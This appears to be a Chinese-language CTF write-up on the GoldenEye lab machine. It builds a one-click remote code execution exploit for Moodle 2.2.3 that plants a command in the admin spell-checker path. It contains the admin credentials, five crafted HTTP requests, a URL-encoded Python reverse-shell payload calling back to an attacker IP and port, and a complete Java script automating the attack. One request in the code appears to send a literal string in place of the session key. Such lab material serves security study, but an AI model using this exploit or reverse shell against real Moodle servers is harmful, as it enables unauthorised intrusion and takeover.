接上文,此篇来攥写最激动人心的环节——在GoldenEye靶机中,利用Moodle漏洞,一键getshell。
根据靶机要求,本文中的DNS为手动添加,域名指向靶机
最终效果如图

0x00 getshell原因
根据老外的WriteUP,getshell需要满足三个条件:
- 需要拥有管理员账号密码;
- 登陆后台,在拼写检查引擎中设置要执行的命令;
- 触发拼写检查功能,执行命令
因为后台中可以设置拼写检查引擎的路径(可执行文件的路径),而在编辑器中可以调用拼写检查功能,从而间接的造成了任意代码的远程执行。
0x01 根据流程分析HTTP报文
编写exp,是为了将手动的攻击过程自动化,减少事件成本,完成攻击的自动化,必然少不了协议的分析。
笔者在这里使用了Burp Suite和Wireshark完成了对整个命令执行过程的分析,并且剔除了多余的参数和HTTP请求头,以达到请求报文的最小化,在服务端留下最少的记录。
首先,从零开始,清除在靶机上的Cookie

登录并获取Cookie

注意,在登录的响应中,出现了三个Set-Cookie字段,经过测试,第二个Cookie有效
获取Sesskey
(笔者因为没有注意到sesskey,在代码调试过程中卡顿了一会。)
在Moodle2.2.3中,进行每一步实质性的操作时,都需要提供一个sesskey,sesskey是一个十位数的字符串,由大小写字母和数字组成,可以由正则表达式来精准地从json中匹配出来 “sesskey”:”keykeykeyk”。

设置payload,反弹shell
将要执行的命令填入aspell的路径,笔者在这里填入python反弹shell的payload,请注意上文中提到的sesskey。

切换拼写检查引擎
这里同样需要提供sesskey

触发拼写检查功能,反弹shell


0x02 抽丝剥茧,简化HTTP请求包
完成远程代码执行一共需要发送五个请求,分别用来获取Cookie、获取Sesskey、设置payload、切换拼写检查引擎、触发payload
经过URL编码的Payload如下:
其中{host}{port}填入接收shell的主机名,端口
python+-c+%27import+socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket%28socket.AF_INET%2Csocket.SOCK_STREAM%29%3Bs.connect%28%28%22{host}%22%2C{port}%29%29%3Bos.dup2%28s.fileno%28%29%2C0%29%3B+os.dup2%28s.fileno%28%29%2C1%29%3B+os.dup2%28s.fileno%28%29%2C2%29%3Bp%3Dsubprocess.call%28%5B%22%2Fbin%2Fsh%22%2C%22-i%22%5D%29%3B%27
简化的HTTP请求1,用于获取cookie
POST /gnocertdir/login/index.php HTTP/1.1
Host: severnaya-station.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 39
Connection: close
username=admin&password=xWinter1995x%21
简化的HTTP请求2,用于获取sesskey
GET /gnocertdir/admin/settings.php?section=systempaths HTTP/1.1
Host: severnaya-station.com
Cookie: cookie
Connection: close
简化的HTTP请求3,用于设置payload
POST /gnocertdir/admin/settings.php HTTP/1.1
Host: severnaya-station.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 此处请自行计算
Connection: close
Cookie: cookie
section=systempaths&sesskey=sesskey&return=&s__gdversion=2&s__pathtodu=%2Fusr%2Fbin%2Fdu&s__aspellpath=payload&s__pathtodot=
简化的HTTP请求4,用于切换拼写检查引擎
POST /gnocertdir/admin/settings.php HTTP/1.1
Host: severnaya-station.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 此处请自行计算
Connection: close
Cookie: cookie
section=editorsettingstinymce&sesskey=sesskey&return=&s_editor_tinymce_spellengine=PSpellShell&s_editor_tinymce_spelllanguagelist=xxxyyy
简化的HTTP请求5,用于触发payload
POST /gnocertdir/lib/editor/tinymce/tiny_mce/3.4.9/plugins/spellchecker/rpc.php HTTP/1.1
Host: severnaya-station.com
Content-Length: 56
Connection: close
Cookie: cookie
{"id":"c0","method":"checkWords","params":["en",[""]]});
0x03 代码编写
笔者为了减少代码量,自己编写过一个HTTP工具类
import java.util.ArrayList;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
public class Main {
public static void main(String[] args) {
//定义payload
String host = "192.168.180.129";
String port = "4444";
String payload = "python+-c+%27import+socket%2Csubprocess%2Cos%3B" +
"s%3Dsocket.socket%28socket.AF_INET%2Csocket.SOCK_STREAM%29%3B" +
"s.connect%28%28%22{host}%22%2C{port}%29%29%3B" +
"os.dup2%28s.fileno%28%29%2C0%29%3B" +
"+os.dup2%28s.fileno%28%29%2C1%29%3B" +
"+os.dup2%28s.fileno%28%29%2C2%29%3B" +
"p%3Dsubprocess.call%28%5B%22%2Fbin%2Fsh%22%2C%22-i%22%5D%29%3B%27";
payload = payload.replace("{host}",host).replace("{port}",port);
//登录获取cookie
HTTPUtil hu = new HTTPUtil();
hu.setRequest("POST /gnocertdir/login/index.php HTTP/1.1\n" +
"Host: severnaya-station.com\n" +
"Content-Type: application/x-www-form-urlencoded\n" +
"Content-Length: 39\n" +
"Connection: close\n" +
"\n" +
"username=admin&password=xWinter1995x%21");
String res = hu.getResponse();
String cookie = getCookie(res);
System.out.println("[+] Got the cookie! " + cookie);
//获取sesskey
hu.setRequest("GET /gnocertdir/admin/settings.php?section=systempaths HTTP/1.1\n" +
"Host: severnaya-station.com\n" +
"Connection: close\n" +
"Cookie: " + cookie);
res = hu.getResponse();
String sesskey = getSesskey(res);
System.out.println(sesskey);
System.out.println("[+] Got the sesskey! " + sesskey);
//设置payload
String data = "section=systempaths&sesskey=" + sesskey + "&return=&s__gdversion=2&s__pathtodu=%2Fusr%2Fbin%2Fdu&s__aspellpath=" + payload + "&s__pathtodot=";
hu.setRequest("POST /gnocertdir/admin/settings.php HTTP/1.1\n" +
"Host: severnaya-station.com\n" +
"Content-Type: application/x-www-form-urlencoded\n" +
"Content-Length: " + data.length() + "\n" +
"Connection: close\n" +
"Cookie: " + cookie + "\n" +
"\n" +
data);
hu.getResponse();
System.out.println("[+] Set the payload...");
//切换拼写检查器
data = "section=editorsettingstinymce&sesskey=" + "sesskey=" + "&return=&s_editor_tinymce_spellengine=PSpellShell&s_editor_tinymce_spelllanguagelist=xxxyyy";
hu.setRequest("POST /gnocertdir/admin/settings.php HTTP/1.1\n" +
"Host: severnaya-station.com\n" +
"Content-Type: application/x-www-form-urlencoded\n" +
"Content-Length: " + data.length() + "\n" +
"Connection: close\n" +
"Cookie: " + cookie + "\n" +
"\n" +
data);
hu.getResponse();
System.out.println("[+] Changed the SpellEngine");
//触发payload
hu.setRequest("POST /gnocertdir/lib/editor/tinymce/tiny_mce/3.4.9/plugins/spellchecker/rpc.php HTTP/1.1\n" +
"Host: severnaya-station.com\n" +
"Content-Length: 56\n" +
"Connection: close\n" +
"Cookie: " + cookie + "\n" +
"\n" +
"{\"id\":\"c0\",\"method\":\"checkWords\",\"params\":[\"en\",[\"\"]]}");
hu.getResponse();
System.out.println("[+] Execute the payload...");
}
//正则匹配,获取第二个有效cookie
public static String getCookie(String response) {
Pattern pattern = Pattern.compile("Set-Cookie:\\s\\S+=\\S+;");
Matcher matcher = pattern.matcher(response);
List<String> cookies = new ArrayList<>();
while (matcher.find()) {
cookies.add(matcher.group());
}
for (String cookie : cookies) {
System.out.println(cookie);
}
String cookie = cookies.get(1)
.replace("Set-Cookie:","").trim();
return cookie;
}
//正则匹配,获取sesskey
public static String getSesskey(String response) {
Pattern pattern = Pattern.compile("sesskey\":\"([A-Za-z0-9]{10})");
Matcher matcher = pattern.matcher(response);
String key = null;
if (matcher.find()) {
key = matcher.group();
key = key.substring(key.lastIndexOf("\"") + 1);
return key;
}
return null;
}
}
0x04 编译代码 运行
javac Main.java
java Main

0x05 结语
整个Exp开发周期中花费时间最长的其实是协议分析,如果协议分析不够仔细,后续的debug环节必定要花费更多的时间,甚至动用wireshark来分析程序的HTTP数据包。
新的一年,祝大家0day多多,Error少少,新年快乐。
近期评论